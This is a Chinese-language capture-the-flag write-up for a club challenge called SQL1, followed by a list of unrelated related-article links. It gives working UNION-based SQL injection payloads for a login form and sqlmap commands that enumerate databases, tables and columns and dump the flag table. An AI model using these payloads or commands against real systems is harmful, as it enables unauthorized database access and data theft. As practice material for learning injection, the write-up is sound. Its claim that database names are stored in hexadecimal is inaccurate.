SQL1
这是社团的题目,我现在就写出来吧,总共两种方法,一种手注,一种用工具(sqlmap).
一、手注(盲注)
1,我们打开题目,可以看到一个登陆页面,这是我们在输入框里面输入万能密码: ' and '1'=' ,然后我们在密码框输入 ' and '1'='1' union select 1,group_concat(schema_name),3 from information_schema.schemata# ,
这里上面的输入框是and,是为了让上面的报错,下面的输入框是and,是为了union后面的语句成功执行。这里我们是先爆出来数据库,可以看到如图所示的源码(这里看源码的时候千万不要点确认,要用Ctrl+u来看)。
2,这时我们爆出了数据库,下面我们爆表,我们在上面的输入框输入 ' and '1'='1 ,在下面输入' and '1'='1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# ,"database()表示当前的数据库"
3,爆出来了表,看到flag,是不是很激动,嘿嘿,接下来我们爆字段,
上面的输入框输入' and '1'='1 ,下面的输入框输入' and '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666C6167# ,这里的 0x666C6167 是flag的十六进制编码,因为在数据库里面,数据库和表和字段都是以十六进制储存的。
4,上面的输入框输入' and '1'='1 ,下面的输入框输入 ' and '1'='1' union select 1,group_concat(id,0x7e,flag),3 from flag# ,这里我们就可以看到flag了。
5,现在是不是感觉很简单啊,至此我的工作完成,你们的工作还得继续。任重而道远!
二、工具(sqlmap)
1,打开登录页面,在输入框里面里面随便输入数字,然后抓包(这里用burp suite抓包,没有这个工具的可以找我)得到数据,如下面的图所示。
2,把图中的数据复制下来,在sqlmap目录下面新建一个1.txt,文件,把复制的数据放1.txt文件里面,
然后打开sqlmap,输入sqlmap.py -r 1.txt --dbs ,如下图所示
3,得到下面数据。
4,得到库,接下来输入 sqlmap.py -r 1.txt -D web --tables ,这里也可以输入sqlmap.py -r 1.txt --tables -D web,结果都是一样的,
----爆表----。
5,得到表,下面爆字段,输入sqlmap.py -r 1.txt -D web -table flag --columns或者sqlmap.py -r 1.txt --columns -table flag -D web
6,下面就爆内容了,输入sqlmap.py -r 1.txt -D web -T flag -C flag --dump 或者输入sqlmap.py -r 1.txt --dump -D web -T flag -C flag 结果如图所示
7,在你们joker学长的帮助下(到用的他的图),终于完成了。(注:上面那些表,可以不用双引号的)。
SQL1的更多相关文章
- Spark SQL1.2测试
Spark SQL 1.2 运行原理 case class方式 json文件方式 背景:了解到HDP也能够支持Spark SQL,但官方文档是版本1.2,希望支持传统数据库.hadoop平台.文本格式 ...
- Spark SQL1.2与HDP2.2结合
1.hbase相同的rowkey里存在多条记录问题的调研解决方案 VERSIONS => 3,Hbase version 最多插入三条记录 将一个集群hbase中表 "Vertical ...
- oracle常用高级sql---1
Oracle/Sql高级篇 1.TOP 子句 TOP 子句用于规定要返回的记录的数目. 对于拥有数千条记录的大型表来说,TOP 子句是非常有用的. SELECT TOP number|percen ...
- 动态SQL1
If标签 动态SQL可以说是MyBatis最强大之处了,这块的应用主要有四个方面if,choose,trim和foreach,接下来先说说if. 顾名思义,if是用来判断条件的,现在假设我们有个需求, ...
- 2015-10-19 sql1
SQL SERVER(一) 一.设置登陆验证 1.右键点击数据库->属性->安全性设置密码登陆 2.数据库下找到安全性->登录名->sa,右键点击sa->属性(修 ...
- SQL-1 选取表中某一属性最大值的所有信息 查找最晚入职员工的所有信息
题目描述 查找最晚入职员工的所有信息CREATE TABLE `employees` (`emp_no` int(11) NOT NULL,`birth_date` date NOT NULL,`fi ...
- SQL1:基础
1.SQL命令类型: 1)DDL:CREATE TABLE/INDEX/VIEW ; ALTER TABLE/INDEX/VIEW ; DROP TABLE/INDEX 2)DML:INSERT,UP ...
- mybatis-动态sql1
在多条件查询的情况下必须用到动态sql 沿用之前的项目 1.在dao中添加多添件查询方法 package com.java1234.mappers; import java.util.List;imp ...
- MySQL知识篇-SQL1
1 SQL是什么? 答:是结构话语言,是一种操作关系型数据库的语言. 2 SQL语言分类? SQL语言 说明 举例 DDL 数据定义语言 create drop DML 数据操作语言 insert ...
随机推荐
- visual studio 2015 warning MSB3246
在我们很高兴的按下 本地计算机运行 按钮,希望看到我们程序运行的时候,垃圾vs就告诉我们,你的程序出现了问题,问题就是: warning MSB3246: 解析的文件包含错误图像.无元数据或不可访问. ...
- JavaScript中的数值转换
在JavaScript中,有3个函数可以把非数值转换为数值 1.Number()函数 Number()可以用于任意数据类型. 转换规则如下. 如果是Boolean值,true和false将分别被转换为 ...
- Struts2运行流程-源码剖析
本文为原创,如需转载,请标明出处:http://www.cnblogs.com/gudu1/p/7726172.html 首先说一下查看这些框架源码的感受,每一次深入探究 Spring.Struts ...
- js代码执行顺序问题
前 言 LiuDaP 今天就给大家介绍一个特别基础的东西,javascript中函数的一点儿小知识(js代码的执行顺序),希望对大家有那么一点点帮助吧!!! 一.js--->单线程 严格意 ...
- java swing中Timer类的学习
最近在完成学校课程的java平时作业,要实现一个计时器,包含开始.暂停以及重置三个功能.由于老师规定要用这个timer类,也就去学习了一下,顺便记录一下. 首先呢去查了一下java手册上的东西,发现t ...
- 数据分析与展示——NumPy库入门
这是我学习北京理工大学嵩天老师的<Python数据分析与展示>课程的笔记.嵩老师的课程重点突出.层次分明,在这里特别感谢嵩老师的精彩讲解. NumPy库入门 数据的维度 维度是一组数据的组 ...
- IIS部署网站时常见问题解决
首先服务器上安装IIS和Framework\v4.0 一.打开iis服务管理器 左侧目录中选择网站右键,选择添加网站 填写网站名称.选择项目存放的路径.ip地址和端口 VS用的是4.0,iis中网站也 ...
- 安装jdk时出现java -version权限不够问题
今天在ubuntu上安装jdk的时候,最后测试java -version总是不行,出现了 bash: /home/jdk1.7.0_25/bin/java: 权限不够的问题 百度之后,在http:// ...
- 基于winsocket的框体Server和Client
前面学了一点Winsock的知识,会编写简单的Server和Client,现在就想通过VS2008编写框体的Server和Client,而不是在控制台上的操作了,毕竟学编程就是要多加练习,在实践中发现 ...
- HDU 4135 Co-prime(容斥+数论)
Co-prime Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Su ...